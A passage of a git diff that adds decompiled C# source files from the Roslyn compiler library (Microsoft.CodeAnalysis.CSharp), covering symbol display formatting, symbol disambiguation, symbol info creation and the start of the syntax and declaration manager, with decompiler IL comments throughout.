((IMethodSymbol)owner).TypeArguments); + if (immutableArray.Length <= 0 || !SymbolDisplayExtensions.IncludesOption(base.format.GenericsOptions, (SymbolDisplayGenericsOptions)1)) + { + return; + } + AddPunctuation(SyntaxKind.LessThanToken); + bool flag = true; + for (int i = 0; i < immutableArray.Length; i++) + { + ITypeSymbol val = immutableArray[i]; + if (!flag) + { + AddPunctuation(SyntaxKind.CommaToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + flag = false; + AbstractSymbolDisplayVisitor val2; + if ((int)((ISymbol)val).Kind == 17) + { + ITypeParameterSymbol symbol = (ITypeParameterSymbol)val; + AddTypeParameterVarianceIfNeeded(symbol); + val2 = ((AbstractSymbolDisplayVisitor)this).NotFirstVisitor; + } + else + { + val2 = ((AbstractSymbolDisplayVisitor)this).NotFirstVisitorNamespaceOrType; + } + ((ISymbol)val).Accept((SymbolVisitor)(object)val2); + if (!modifiers.IsDefault) + { + AddCustomModifiersIfNeeded(modifiers[i], leadingSpace: true, trailingSpace: false); + } + } + AddPunctuation(SyntaxKind.GreaterThanToken); + } + + private static bool TypeParameterHasConstraints(ITypeParameterSymbol typeParam) + { + if (typeParam.ConstraintTypes.IsEmpty && !typeParam.HasConstructorConstraint && !typeParam.HasReferenceTypeConstraint && !typeParam.HasValueTypeConstraint) + { + return typeParam.HasNotNullConstraint; + } + return true; + } + + private void AddTypeParameterConstraints(ImmutableArray typeArguments) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Invalid comparison between Unknown and I4 + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Invalid comparison between Unknown and I4 + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + if (!base.isFirstSymbolVisited || !SymbolDisplayExtensions.IncludesOption(base.format.GenericsOptions, (SymbolDisplayGenericsOptions)2)) + { + return; + } + ImmutableArray.Enumerator enumerator = typeArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + ITypeSymbol current = enumerator.Current; + if ((int)((ISymbol)current).Kind != 17) + { + continue; + } + ITypeParameterSymbol val = (ITypeParameterSymbol)current; + if (!TypeParameterHasConstraints(val)) + { + continue; + } + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddKeyword(SyntaxKind.WhereKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + ((ISymbol)val).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddPunctuation(SyntaxKind.ColonToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + bool flag = false; + if (val.HasReferenceTypeConstraint) + { + AddKeyword(SyntaxKind.ClassKeyword); + NullableAnnotation referenceTypeConstraintNullableAnnotation = val.ReferenceTypeConstraintNullableAnnotation; + if ((int)referenceTypeConstraintNullableAnnotation != 1) + { + if ((int)referenceTypeConstraintNullableAnnotation == 2 && SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)64)) + { + AddPunctuation(SyntaxKind.QuestionToken); + } + } + else if (SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)256)) + { + AddPunctuation(SyntaxKind.ExclamationToken); + } + flag = true; + } + else if (val.HasUnmanagedTypeConstraint) + { + base.builder.Add(new SymbolDisplayPart((SymbolDisplayPartKind)9, (ISymbol)null, "unmanaged")); + flag = true; + } + else if (val.HasValueTypeConstraint) + { + AddKeyword(SyntaxKind.StructKeyword); + flag = true; + } + else if (val.HasNotNullConstraint) + { + base.builder.Add(new SymbolDisplayPart((SymbolDisplayPartKind)9, (ISymbol)null, "notnull")); + flag = true; + } + for (int i = 0; i < val.ConstraintTypes.Length; i++) + { + ITypeSymbol obj = val.ConstraintTypes[i]; + if (flag) + { + AddPunctuation(SyntaxKind.CommaToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + ((ISymbol)obj).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + flag = true; + } + if (val.HasConstructorConstraint) + { + if (flag) + { + AddPunctuation(SyntaxKind.CommaToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + AddKeyword(SyntaxKind.NewKeyword); + AddPunctuation(SyntaxKind.OpenParenToken); + AddPunctuation(SyntaxKind.CloseParenToken); + } + } + } + + private void AddConstantValue(ITypeSymbol type, object constantValue, bool preferNumericValueOrExpandedFlagsForEnum = false) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + if (constantValue != null) + { + ((AbstractSymbolDisplayVisitor)this).AddNonNullConstantValue(type, constantValue, preferNumericValueOrExpandedFlagsForEnum); + return; + } + if (type.IsReferenceType || (int)type.TypeKind == 9 || ITypeSymbolHelpers.IsNullableType(type)) + { + AddKeyword(SyntaxKind.NullKeyword); + return; + } + AddKeyword(SyntaxKind.DefaultKeyword); + if (!SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)128)) + { + AddPunctuation(SyntaxKind.OpenParenToken); + ((ISymbol)type).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(SyntaxKind.CloseParenToken); + } + } + + protected override void AddExplicitlyCastedLiteralValue(INamedTypeSymbol namedType, SpecialType type, object value) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + AddPunctuation(SyntaxKind.OpenParenToken); + ((ISymbol)namedType).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(SyntaxKind.CloseParenToken); + ((AbstractSymbolDisplayVisitor)this).AddLiteralValue(type, value); + } + + protected override void AddLiteralValue(SpecialType type, object value) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + string text = SymbolDisplay.FormatPrimitive(value, quoteStrings: true, useHexadecimalNumbers: false); + SymbolDisplayPartKind kind = (SymbolDisplayPartKind)12; + if ((int)type != 7) + { + if ((int)type == 8 || (int)type == 20) + { + kind = (SymbolDisplayPartKind)13; + } + } + else + { + kind = (SymbolDisplayPartKind)9; + } + base.builder.Add(CreatePart(kind, null, text)); + } + + protected override void AddBitwiseOr() + { + AddPunctuation(SyntaxKind.BarToken); + } + + private bool TryAddAlias(INamespaceOrTypeSymbol symbol, ArrayBuilder builder) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + IAliasSymbol aliasSymbol = GetAliasSymbol(symbol); + if (aliasSymbol != null) + { + string name = ((ISymbol)aliasSymbol).Name; + ImmutableArray immutableArray = base.semanticModelOpt.LookupNamespacesAndTypes(base.positionOpt, (INamespaceOrTypeSymbol)null, name); + if (immutableArray.Length == 1 && immutableArray[0] is IAliasSymbol && ((IEquatable)aliasSymbol.Target).Equals((ISymbol?)(object)symbol)) + { + builder.Add(CreatePart((SymbolDisplayPartKind)0, (ISymbol)(object)aliasSymbol, name)); + return true; + } + } + return false; + } + + protected override bool ShouldRestrictMinimallyQualifyLookupToNamespacesAndTypes() + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken token = base.semanticModelOpt.SyntaxTree.GetRoot(default(CancellationToken)).FindToken(base.positionOpt, false); + if (!SyntaxFacts.IsInNamespaceOrTypeContext(((SyntaxToken)(ref token)).Parent as ExpressionSyntax) && !token.IsKind(SyntaxKind.NewKeyword)) + { + return base.inNamespaceOrType; + } + return true; + } + + private void MinimallyQualify(INamespaceSymbol symbol) + { + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Invalid comparison between Unknown and I4 + if (symbol.IsGlobalNamespace) + { + return; + } + ImmutableArray immutableArray = (((AbstractSymbolDisplayVisitor)this).ShouldRestrictMinimallyQualifyLookupToNamespacesAndTypes() ? base.semanticModelOpt.LookupNamespacesAndTypes(base.positionOpt, (INamespaceOrTypeSymbol)null, ((ISymbol)symbol).Name) : base.semanticModelOpt.LookupSymbols(base.positionOpt, (INamespaceOrTypeSymbol)null, ((ISymbol)symbol).Name, false)); + ISymbol val = immutableArray.OfType().FirstOrDefault(); + if (immutableArray.Length != 1 || val == null || !((IEquatable)val).Equals((ISymbol?)(object)symbol)) + { + INamespaceSymbol val2 = ((((ISymbol)symbol).ContainingNamespace == null) ? null : base.semanticModelOpt.Compilation.GetCompilationNamespace(((ISymbol)symbol).ContainingNamespace)); + if (val2 != null) + { + if (val2.IsGlobalNamespace) + { + if ((int)base.format.GlobalNamespaceStyle == 2) + { + AddGlobalNamespace(val2); + AddPunctuation(SyntaxKind.ColonColonToken); + } + } + else + { + ((ISymbol)val2).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(SyntaxKind.DotToken); + } + } + } + base.builder.Add(CreatePart((SymbolDisplayPartKind)17, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + + private void MinimallyQualify(INamedTypeSymbol symbol) + { + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Invalid comparison between Unknown and I4 + if (!((ITypeSymbol)symbol).IsAnonymousType && !((ITypeSymbol)symbol).IsTupleType && !((AbstractSymbolDisplayVisitor)this).NameBoundSuccessfullyToSameSymbol(symbol)) + { + if (IncludeNamedType(((ISymbol)symbol).ContainingType)) + { + ((ISymbol)((ISymbol)symbol).ContainingType).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(SyntaxKind.DotToken); + } + else + { + INamespaceSymbol val = ((((ISymbol)symbol).ContainingNamespace == null) ? null : base.semanticModelOpt.Compilation.GetCompilationNamespace(((ISymbol)symbol).ContainingNamespace)); + if (val != null) + { + if (val.IsGlobalNamespace) + { + if ((int)((ITypeSymbol)symbol).TypeKind != 6) + { + AddKeyword(SyntaxKind.GlobalKeyword); + AddPunctuation(SyntaxKind.ColonColonToken); + } + } + else + { + ((ISymbol)val).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(SyntaxKind.DotToken); + } + } + } + } + AddNameAndTypeArgumentsOrParameters(symbol); + } + + private IDictionary CreateAliasMap() + { + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + if (!((AbstractSymbolDisplayVisitor)this).IsMinimizing) + { + return SpecializedCollections.EmptyDictionary(); + } + SemanticModel semanticModel; + int num; + if (base.semanticModelOpt.IsSpeculativeSemanticModel) + { + semanticModel = base.semanticModelOpt.ParentModel; + num = base.semanticModelOpt.OriginalPositionForSpeculation; + } + else + { + semanticModel = base.semanticModelOpt; + num = base.positionOpt; + } + SyntaxToken val = semanticModel.SyntaxTree.GetRoot(default(CancellationToken)).FindToken(num, false); + SyntaxNode parent = ((SyntaxToken)(ref val)).Parent; + UsingDirectiveSyntax ancestorOrThis = GetAncestorOrThis(parent); + if (ancestorOrThis != null) + { + parent = (SyntaxNode)(object)ancestorOrThis.Parent.Parent; + } + IEnumerable enumerable = from u in GetAncestorsOrThis(parent).SelectMany((BaseNamespaceDeclarationSyntax n) => (IEnumerable)(object)n.Usings).Concat(GetAncestorsOrThis(parent).SelectMany((CompilationUnitSyntax c) => (IEnumerable)(object)c.Usings)) + where u.Alias != null + select semanticModel.GetDeclaredSymbol(u) into u + where u != null + select u; + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(); + foreach (IAliasSymbol item in enumerable) + { + if (!builder.ContainsKey(item.Target)) + { + builder.Add(item.Target, item); + } + } + return builder.ToImmutable(); + } + + private ITypeSymbol GetRangeVariableType(IRangeVariableSymbol symbol) + { + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + ITypeSymbol result = null; + if (((AbstractSymbolDisplayVisitor)this).IsMinimizing && !((ISymbol)symbol).Locations.IsEmpty) + { + Location val = ((ISymbol)symbol).Locations.First(); + if (val.IsInSource && val.SourceTree == base.semanticModelOpt.SyntaxTree) + { + SyntaxToken token = val.SourceTree.GetRoot(default(CancellationToken)).FindToken(base.positionOpt, false); + QueryBodySyntax queryBody = GetQueryBody(token); + TypeInfo val2; + if (queryBody != null) + { + IdentifierNameSyntax identifierNameSyntax = SyntaxFactory.IdentifierName(((ISymbol)symbol).Name); + SemanticModel semanticModelOpt = base.semanticModelOpt; + TextSpan span = ((SyntaxNode)queryBody.SelectOrGroup).Span; + val2 = semanticModelOpt.GetSpeculativeTypeInfo(((TextSpan)(ref span)).End - 1, (SyntaxNode)(object)identifierNameSyntax, (SpeculativeBindingOption)0); + result = ((TypeInfo)(ref val2)).Type; + } + if (((SyntaxToken)(ref token)).Parent is IdentifierNameSyntax identifierNameSyntax2) + { + val2 = base.semanticModelOpt.GetTypeInfo((SyntaxNode)(object)identifierNameSyntax2, default(CancellationToken)); + result = ((TypeInfo)(ref val2)).Type; + } + } + } + return result; + } + + private static QueryBodySyntax GetQueryBody(SyntaxToken token) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode parent = ((SyntaxToken)(ref token)).Parent; + if (!(parent is FromClauseSyntax fromClauseSyntax)) + { + if (!(parent is LetClauseSyntax letClauseSyntax)) + { + if (!(parent is JoinClauseSyntax joinClauseSyntax)) + { + if (parent is QueryContinuationSyntax queryContinuationSyntax && queryContinuationSyntax.Identifier == token) + { + return queryContinuationSyntax.Body; + } + } + else if (joinClauseSyntax.Identifier == token) + { + return joinClauseSyntax.Parent as QueryBodySyntax; + } + } + else if (letClauseSyntax.Identifier == token) + { + return letClauseSyntax.Parent as QueryBodySyntax; + } + } + else if (fromClauseSyntax.Identifier == token) + { + return (fromClauseSyntax.Parent as QueryBodySyntax) ?? ((QueryExpressionSyntax)fromClauseSyntax.Parent).Body; + } + return null; + } + + private string RemoveAttributeSuffixIfNecessary(INamedTypeSymbol symbol, string symbolName) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + string text = default(string); + if (((AbstractSymbolDisplayVisitor)this).IsMinimizing && SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)16) && base.semanticModelOpt.Compilation.IsAttributeType((ITypeSymbol)(object)symbol) && StringExtensions.TryGetWithoutAttributeSuffix(symbolName, ref text) && SyntaxFactory.ParseToken(text).IsKind(SyntaxKind.IdentifierToken)) + { + symbolName = text; + } + return symbolName; + } + + private static T GetAncestorOrThis(SyntaxNode node) where T : SyntaxNode + { + return GetAncestorsOrThis(node).FirstOrDefault(); + } + + private static IEnumerable GetAncestorsOrThis(SyntaxNode node) where T : SyntaxNode + { + if (node != null) + { + return node.AncestorsAndSelf(true).OfType(); + } + return SpecializedCollections.EmptyEnumerable(); + } + + private IAliasSymbol GetAliasSymbol(INamespaceOrTypeSymbol symbol) + { + if (!AliasMap.TryGetValue(symbol, out var value)) + { + return null; + } + return value; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolDistinguisher.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolDistinguisher.cs new file mode 100644 index 0000000..9ab6d61 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolDistinguisher.cs @@ -0,0 +1,232 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SymbolDistinguisher +{ + private sealed class Description : IFormattable + { + private readonly SymbolDistinguisher _distinguisher; + + private readonly int _index; + + public Description(SymbolDistinguisher distinguisher, int index) + { + _distinguisher = distinguisher; + _index = index; + } + + private Symbol GetSymbol() + { + if (_index != 0) + { + return _distinguisher._symbol1; + } + return _distinguisher._symbol0; + } + + public override bool Equals(object obj) + { + if (obj is Description description && _distinguisher._compilation == description._distinguisher._compilation) + { + return GetSymbol() == description.GetSymbol(); + } + return false; + } + + public override int GetHashCode() + { + int num = GetSymbol().GetHashCode(); + CSharpCompilation compilation = _distinguisher._compilation; + if (compilation != null) + { + num = Hash.Combine(num, ((object)compilation).GetHashCode()); + } + return num; + } + + public override string ToString() + { + return _distinguisher.GetDescription(_index); + } + + string IFormattable.ToString(string format, IFormatProvider formatProvider) + { + return ToString(); + } + } + + private readonly CSharpCompilation _compilation; + + private readonly Symbol _symbol0; + + private readonly Symbol _symbol1; + + private ImmutableArray _lazyDescriptions; + + public IFormattable First => new Description(this, 0); + + public IFormattable Second => new Description(this, 1); + + public SymbolDistinguisher(CSharpCompilation compilation, Symbol symbol0, Symbol symbol1) + { + _compilation = compilation; + _symbol0 = symbol0; + _symbol1 = symbol1; + } + + [Conditional("DEBUG")] + private static void CheckSymbolKind(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected I4, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = symbol.Kind; + switch ((int)kind) + { + case 1: + case 3: + case 4: + case 5: + case 6: + case 9: + case 11: + case 13: + case 14: + case 15: + case 17: + case 20: + return; + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + + private void MakeDescriptions() + { + if (!_lazyDescriptions.IsDefault) + { + return; + } + string text = _symbol0.ToDisplayString(SymbolDisplayFormat.CSharpErrorMessageNoParameterNamesFormat); + string text2 = _symbol1.ToDisplayString(SymbolDisplayFormat.CSharpErrorMessageNoParameterNamesFormat); + if (text == text2) + { + Symbol symbol = UnwrapSymbol(_symbol0); + Symbol symbol2 = UnwrapSymbol(_symbol1); + string text3 = GetLocationString(_compilation, symbol); + string text4 = GetLocationString(_compilation, symbol2); + if (text3 == text4) + { + AssemblySymbol containingAssembly = symbol.ContainingAssembly; + AssemblySymbol containingAssembly2 = symbol2.ContainingAssembly; + if ((object)containingAssembly != null && (object)containingAssembly2 != null) + { + text3 = ((object)containingAssembly.Identity).ToString(); + text4 = ((object)containingAssembly2.Identity).ToString(); + } + } + if (text3 != text4) + { + if (text3 != null) + { + text = text + " [" + text3 + "]"; + } + if (text4 != null) + { + text2 = text2 + " [" + text4 + "]"; + } + } + } + if (_lazyDescriptions.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyDescriptions, ImmutableArray.Create(text, text2)); + } + } + + private static Symbol UnwrapSymbol(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + while (true) + { + SymbolKind kind = symbol.Kind; + if ((int)kind != 1) + { + if ((int)kind != 13) + { + if ((int)kind != 14) + { + break; + } + symbol = ((PointerTypeSymbol)symbol).PointedAtType; + } + else + { + symbol = ((ParameterSymbol)symbol).Type; + } + } + else + { + symbol = ((ArrayTypeSymbol)symbol).ElementType; + } + } + return symbol; + } + + private static string GetLocationString(CSharpCompilation compilation, Symbol unwrappedSymbol) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray declaringSyntaxReferences = unwrappedSymbol.DeclaringSyntaxReferences; + if (declaringSyntaxReferences.Length > 0) + { + SyntaxTree syntaxTree = declaringSyntaxReferences[0].SyntaxTree; + TextSpan span = declaringSyntaxReferences[0].Span; + string displayPath = syntaxTree.GetDisplayPath(span, (compilation != null) ? ((CompilationOptions)compilation.Options).SourceReferenceResolver : null); + if (!string.IsNullOrEmpty(displayPath)) + { + return $"{displayPath}({syntaxTree.GetDisplayLineNumber(span)})"; + } + } + AssemblySymbol containingAssembly = unwrappedSymbol.ContainingAssembly; + if ((object)containingAssembly != null) + { + if (compilation != null) + { + MetadataReference? metadataReference = compilation.GetMetadataReference(containingAssembly); + PortableExecutableReference val = (PortableExecutableReference)(object)((metadataReference is PortableExecutableReference) ? metadataReference : null); + if (val != null) + { + string filePath = val.FilePath; + if (!string.IsNullOrEmpty(filePath)) + { + return filePath; + } + } + } + return ((object)containingAssembly.Identity).ToString(); + } + return null; + } + + private string GetDescription(int index) + { + MakeDescriptions(); + return _lazyDescriptions[index]; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolInfoFactory.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolInfoFactory.cs new file mode 100644 index 0000000..d29b1f4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolInfoFactory.cs @@ -0,0 +1,58 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class SymbolInfoFactory +{ + internal static SymbolInfo Create(ImmutableArray symbols, LookupResultKind resultKind, bool isDynamic) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Create(OneOrMany.Create(ImmutableArrayExtensions.NullToEmpty(symbols)), resultKind, isDynamic); + } + + internal static SymbolInfo Create(OneOrMany symbols, LookupResultKind resultKind, bool isDynamic) + { + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + if (isDynamic) + { + if (symbols.Count == 1) + { + return new SymbolInfo(symbols[0].GetPublicSymbol(), (CandidateReason)14); + } + return new SymbolInfo(getPublicSymbols(symbols), (CandidateReason)14); + } + if (resultKind == LookupResultKind.Viable) + { + if (symbols.Count > 0) + { + return new SymbolInfo(symbols[0].GetPublicSymbol()); + } + return SymbolInfo.None; + } + return new SymbolInfo(getPublicSymbols(symbols), (CandidateReason)((symbols.Count > 0) ? ((int)resultKind.ToCandidateReason()) : 0)); + static ImmutableArray getPublicSymbols(OneOrMany val) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(val.Count); + Enumerator enumerator = val.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + instance.Add(current.GetPublicSymbol()); + } + return instance.ToImmutableAndFree(); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolKindExtensions.cs new file mode 100644 index 0000000..4192d58 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolKindExtensions.cs @@ -0,0 +1,50 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class SymbolKindExtensions +{ + public static LocalizableErrorArgument Localize(this SymbolKind kind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Expected I4, but got Unknown + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + switch ((int)kind) + { + case 12: + return MessageID.IDS_SK_NAMESPACE.Localize(); + case 11: + return MessageID.IDS_SK_TYPE.Localize(); + case 17: + return MessageID.IDS_SK_TYVAR.Localize(); + case 1: + return MessageID.IDS_SK_ARRAY.Localize(); + case 14: + return MessageID.IDS_SK_POINTER.Localize(); + case 20: + return MessageID.IDS_SK_FUNCTION_POINTER.Localize(); + case 3: + return MessageID.IDS_SK_DYNAMIC.Localize(); + case 9: + return MessageID.IDS_SK_METHOD.Localize(); + case 15: + return MessageID.IDS_SK_PROPERTY.Localize(); + case 5: + return MessageID.IDS_SK_EVENT.Localize(); + case 6: + return MessageID.IDS_SK_FIELD.Localize(); + case 8: + case 13: + case 16: + return MessageID.IDS_SK_VARIABLE.Localize(); + case 0: + return MessageID.IDS_SK_ALIAS.Localize(); + case 7: + return MessageID.IDS_SK_LABEL.Localize(); + case 18: + throw ExceptionUtilities.UnexpectedValue((object)kind); + default: + return MessageID.IDS_SK_UNKNOWN.Localize(); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxAndDeclarationManager.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxAndDeclarationManager.cs new file mode 100644 index 0000000..b8c1deb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxAndDeclarationManager.cs @@ -0,0 +1,454 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SyntaxAndDeclarationManager : CommonSyntaxAndDeclarationManager +{ + internal sealed class State + { + internal readonly ImmutableArray SyntaxTrees; + + internal readonly ImmutableDictionary OrdinalMap; + + internal readonly ImmutableDictionary> LoadDirectiveMap; + + internal readonly ImmutableDictionary LoadedSyntaxTreeMap; + + internal readonly ImmutableDictionary> RootNamespaces; + + internal readonly ImmutableDictionary>>>> LastComputedMemberNames; + + internal readonly DeclarationTable DeclarationTable; + + internal State(ImmutableArray syntaxTrees, ImmutableDictionary syntaxTreeOrdinalMap, ImmutableDictionary> loadDirectiveMap, ImmutableDictionary loadedSyntaxTreeMap, ImmutableDictionary> rootNamespaces, ImmutableDictionary>>>> lastComputedMemberNames, DeclarationTable declarationTable) + { + SyntaxTrees = syntaxTrees; + OrdinalMap = syntaxTreeOrdinalMap; + LoadDirectiveMap = loadDirectiveMap; + LoadedSyntaxTreeMap = loadedSyntaxTreeMap; + RootNamespaces = rootNamespaces; + LastComputedMemberNames = lastComputedMemberNames; + DeclarationTable = declarationTable; + } + } + + private static readonly ObjectPool> s_declarationStack = new ObjectPool>((Factory>)(() => new Stack()), true); + + private State _lazyState; + + internal SyntaxAndDeclarationManager(ImmutableArray externalSyntaxTrees, string scriptClassName, SourceReferenceResolver resolver, CommonMessageProvider messageProvider, bool isSubmission, State state) + : base(externalSyntaxTrees, scriptClassName, resolver, messageProvider, isSubmission) + { + _lazyState = state; + } + + internal State GetLazyState() + { + if (_lazyState == null) + { + Interlocked.CompareExchange(ref 